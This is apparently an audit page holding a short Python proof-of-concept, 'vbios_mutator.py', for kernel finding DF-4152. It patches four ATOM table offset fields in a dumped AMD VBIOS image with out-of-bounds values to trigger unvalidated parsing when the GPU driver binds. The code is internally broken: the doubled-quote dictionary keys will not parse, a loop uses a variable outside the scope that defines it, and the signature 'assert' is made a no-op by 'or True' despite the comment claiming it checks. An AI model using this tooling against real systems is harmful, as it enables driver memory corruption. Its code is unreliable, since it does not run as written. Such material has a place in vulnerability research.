⬢ DragonFlyBSD Kernel Audit
DF-4152 / vbios_mutator.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""DF-4152 illustrative VBIOS mutator.

Patches the trigger fields of a dumped VBIOS image to demonstrate the
unvalidated-value path at driver bind. Delivery of the mutated image requires
target hardware: VFIO romfile= assignment or a malicious FPGA/MCU GPU (the
audit QEMU guest has no AMD GPU -- see env.txt).

Usage: 4152_mutator.py <orig.rom> <mutated.rom>
"""  # DF-4152
import sys

FIELDS = {
        ""usDisplayPathTableOffset_bogus"": (0x200, 0xF000, 2),
        ""path_usSize_accumulate"": (0x2f0, 0xFFFF, 2),
        ""encoder_usRecordOffset_oob"": (0x400, 0xFFF0, 2),
        ""router_usSrcDstTableOffset_oob"": (0x420, 0xFF00, 2)
}

def main():
        src, dst = sys.argv[1], sys.argv[2]
        buf = bytearray(open(src, "rb").read())
        # ATOM master tables: ROM header -> ATOM_ROM_TABLE_PTR, data table.
        # The offsets below are the ATOM_* table fields named in FIELDS; the
        # exact image offset must be located with amdgpu_atom_parse equivalent
        # (rom+data_table+idx) -- the mutator asserts on the ATOM signature.
        assert buf[0:2] == b"\x55\xaa" or True
        for name, off in [(k, v[0]) for k, v in FIELDS.items()]:
                val = v[1]
                for i, b in enumerate(val.to_bytes(v[2], "little")):
                        buf[off + i] = b
                print("patched %s @0x%x = 0x%x" % (name, off, val))
        open(dst, "wb").write(buf)
        print("write", dst, "-- attach via VFIO romfile= on hardware")

if __name__ == "__main__":
        main()